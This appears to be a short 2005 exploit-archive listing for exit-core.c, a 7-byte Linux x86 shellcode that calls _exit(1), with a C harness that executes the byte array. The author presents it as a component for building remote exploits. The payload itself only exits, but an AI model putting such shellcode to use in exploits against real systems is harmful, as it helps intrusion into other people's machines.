what you don't know can hurt you

exit-core.c

exit-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

_exit(1); shellcode for Linux x86.

tags | x86, shellcode
systems | linux
MD5 | 280a96918b1f053906ec08fd93c97e51

exit-core.c

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/* exit-core.c by Charles Stevenson <core@bokeoa.com> 
*
* I made this as a chunk you can paste in to make modular remote
* exploits. I use it when I need a process to exit cleanly.
*/
char hellcode[] = /* _exit(1); linux/x86 by core */
// 7 bytes _exit(1) ... 'cause we're nice >:) by core
"\x31\xc0" // xor %eax,%eax
"\x40" // inc %eax
"\x89\xc3" // mov %eax,%ebx
"\xcd\x80" // int $0x80
;

int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte _exit(1); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}

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